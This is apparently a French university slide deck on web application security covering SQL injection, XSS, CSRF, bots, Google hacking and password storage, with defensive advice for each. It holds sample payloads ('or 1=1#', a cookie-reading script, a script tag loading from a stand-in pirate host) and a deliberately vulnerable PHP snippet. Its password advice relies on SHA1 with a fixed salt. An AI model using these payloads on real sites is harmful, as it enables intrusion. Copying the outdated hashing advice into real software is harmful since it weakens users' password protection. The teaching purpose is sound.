Vous êtes sur la page 1sur 30

1

Scurit des applications web


Modal Web / Ecole polytechnique

Modal Web - Baptiste DESPREZ

2
Modal Web - Baptiste DESPREZ

Comment pirater un site ?


Exploiter ses failles de scurit
Exploiter ses utilisateurs

3
Modal Web - Baptiste DESPREZ

4
Modal Web - Baptiste DESPREZ

Injection SQL
Injection SQL
Au mieux, le pirate accde au contenu de votre
base de donnes (courriels, donnes personnelles
ou financires, mot de passe en clair, )
Au pire, votre base de donnes est dtruite

5
Modal Web - Baptiste DESPREZ

Injection SQL : test de base

On rajoute des caractres que SQL peut


interprter : %, *, pour tester

6
Modal Web - Baptiste DESPREZ

7
Modal Web - Baptiste DESPREZ

Injection SQL
Comment
a marche
?
$password
= $_POST['password']
= "') or 1=1#"
On vient intercaler notre code SQL malicieux au
milieu de la requte :
$sql = "SELECT * FROM `utilisateurs` WHERE
`login`='$login' AND `mdp`=SHA1('$password')";
$sql = "SELECT * FROM `utilisateurs` WHERE
`login`='$login' AND `mdp`=SHA1('') OR 1=1 #)";

8
Modal Web - Baptiste DESPREZ

Injection SQL
Comment se protger ?
Avec PDO : $sth = $dbh -> prepare() puis
$sth->execute(array($login, $password))
Utilisez les ?

Restreindre les droits des utilisateurs Mysql (par


exemple, crer un utilisateur Mysql lambda pour
votre site)
Naffichez pas vos erreurs SQL !

9
Modal Web - Baptiste DESPREZ

XSS
XSS
Cest comme linjection SQL, sauf que lon injecte du
code Javascript
Le pirate se sert des utilisateurs de votre site mais ne
touche pas votre base de donnes
Quoique

10
Modal Web - Baptiste DESPREZ

XSS
21/10/2010 : Twitter est victime dune faille
XSS. Rsultat : des utilisateurs spamms, et les
serveurs de Twitter genou (et tout a avec
moins de 140 caractres !!!)
07/03/2013 : Une faille XSS a t dcouverte sur
Ebay et Ebay ne veut pas corriger
23/04/2013 : Le compte Twitter dAP signale
une explosion la Maison Blanche : les bourses
plongent quelques minutes

11

<script>alert(document.cookie)</script>

Modal Web - Baptiste DESPREZ

12
Modal Web - Baptiste DESPREZ

13
Modal Web - Baptiste DESPREZ

<h1>Rsultat de la recherche ' <?php echo $_GET[' $ recherche_globale ']; ?> </h1>

14
Modal Web - Baptiste DESPREZ

XSS
Comment se protger ?
A chaque fois que vous devez afficher un contenu
pouvant tre modifi par un utilisateur ($_GET,
$_POST, ), utilisez htmlspecialchars($string)
Empchez lutilisateur dinsrer des caractres
spciaux : les signes &,$,*, etc. nont rien faire
dans un login par exemple
Vrifiez le type (entier -> ctype_digit(), etc.)
Empcher les utilisateurs dcrire en HTML

15
Modal Web - Baptiste DESPREZ

Bot
En quoi a consiste ?
La plupart des attaques sur le net sont effectues
par des Bots plus ou moins intelligents
Google en est un !

16
Modal Web - Baptiste DESPREZ

Bot
Le captcha semble tre une bonne solution pour
protger ses formulaires des Bots
http://www.google.com/recaptcha (ne fonctionne
pas lX)
http://www.phpcaptcha.org/

MAIS
Les logiciels de reconnaissance de caractres se
perfectionnent
Une base de donnes de 1000 captcha sachte 1$

17
Modal Web - Baptiste DESPREZ

Captcha !

18
Modal Web - Baptiste DESPREZ

19
Modal Web - Baptiste DESPREZ

Et si on combinait les attaques ?


ou comment utiliser une personne sans que
cette dernire ne sen rende compte (ou presque)

20
Modal Web - Baptiste DESPREZ

<script src= ' http://monsitepirate/script.js ' > </script>

Afficher un site pirate (virus,


demande de coordonnes
bancaires,

Envoyer du spam via le site


http://www.polytechnique.edu

21
Modal Web - Baptiste DESPREZ

Comment se protger ?
Il ny a pas de solution miracle mais des pistes
pour limiter la faille
$_SERVER[HTTP_REFERER] -> vrifiez do
viennent les donnes postes
Stocker lheure en SESSION et en hidden dans vos
formulaires et vrifiez que le delta entre les deux ne
dpasse pas une certaine limite

http://www.serversidemagazine.com/php/phpsecurity-measures-against-csrf-attacks/

22
Modal Web - Baptiste DESPREZ

Manipulation GET, POST et code HTML


Contrlez ce que les utilisateurs peuvent saisir:
GET, POST, REQUEST
Exemple de faille :
<?php

@extract ($_REQUEST);
@die ($ctime($atime));
?>

Vous avez des fonctions en PHP pour cela :

http://www.php.net/manual/en/book.ctype.php

Le code HTML peut tre modifi par le client !

Suppression de champs de formulaire


Suppression des vrifictions JavaScript / HTML5

23
Modal Web - Baptiste DESPREZ

Scurit des mots de passe


Avec un simple PC, il faut :

11 minutes pour craque le mot de passe e87a5de7


3 heures pour e8!a5d&7
3 jours pour A8!a5d&7
58 ans pour A8!a5d&712

Conclusion : en 2014, prenez des mots de passe


dau moins 10 caractres !

24
Modal Web - Baptiste DESPREZ

Scurit des mots de passe


Dans la mesure du possible, forcez vos utilisateurs
mettre des mots de passe forts
Surtout pour les admins
Cas concret : comment craquer un mot de passe ? Il
faut dabord les rcuprer !
Via une connexion directe la base de donnes (qui
dans cette salle a mis un mot de passe lutilisateur
root de Mysql ?)
Via une injection SQL
Si les mots de passe sont en clair dans la base, cest
encore mieux!

25
Modal Web - Baptiste DESPREZ

Scurit des mots de passe

26
Modal Web - Baptiste DESPREZ

Google Hacking
Google est un formidable outil pour dcouvrir
des sites piratables (et des phpMyAdmin sans
mot de passe)
GHDB -> Google Hacking Data Base dun certain
Johnny I Hack Stuff
Attention ! Google dtecte les tentatives rptes
et bloque votre IP (en loccurrence celle du proxy
de lEcole)

27
Modal Web - Baptiste DESPREZ

Scurit des mots de passe


Comment scuriser un peu les mots de passe de ses
utilisateurs ?
Rponse : on rajoute du sel !
Register :

// clef prive protger


$salt = jdfd6g4zf!sjfhhgfJsha5874dekjYhhe;
$mdp = $mdp . $salt;
INSERT INTO users VALUES ($login, SHA1($mdp))

Login :

SELECT * FROM users WHERE login=$login and


mdp=SHA1($mdp . $salt)

28
Modal Web - Baptiste DESPREZ

HTTP over TLS/SSL


HTTPS ne permet pas de scuriser un site!
Il permet juste de crypter la communication
entre un client (Firefox, Chrome, Opera, ) et
un serveur web
Indispensable lors de la phase dauthentification
des utilisateurs

29
Modal Web - Baptiste DESPREZ

Et si a ne suffit pas

Attaques type DoS ou Dni de service


Manipulation de cookies
Payant ne veut pas dire plus scuris !

30
Modal Web - Baptiste DESPREZ

Conclusion
Ne faites pas confiance aux utilisateurs !
Contrler tout ce quil peuvent modifier ou
afficher ($_GET, $_POST, )

Protgez vos formulaires (captcha, modration,


politique de scurit des mots de passe, )
Protgez lauthentification de votre site avec
HTTPS (si possible)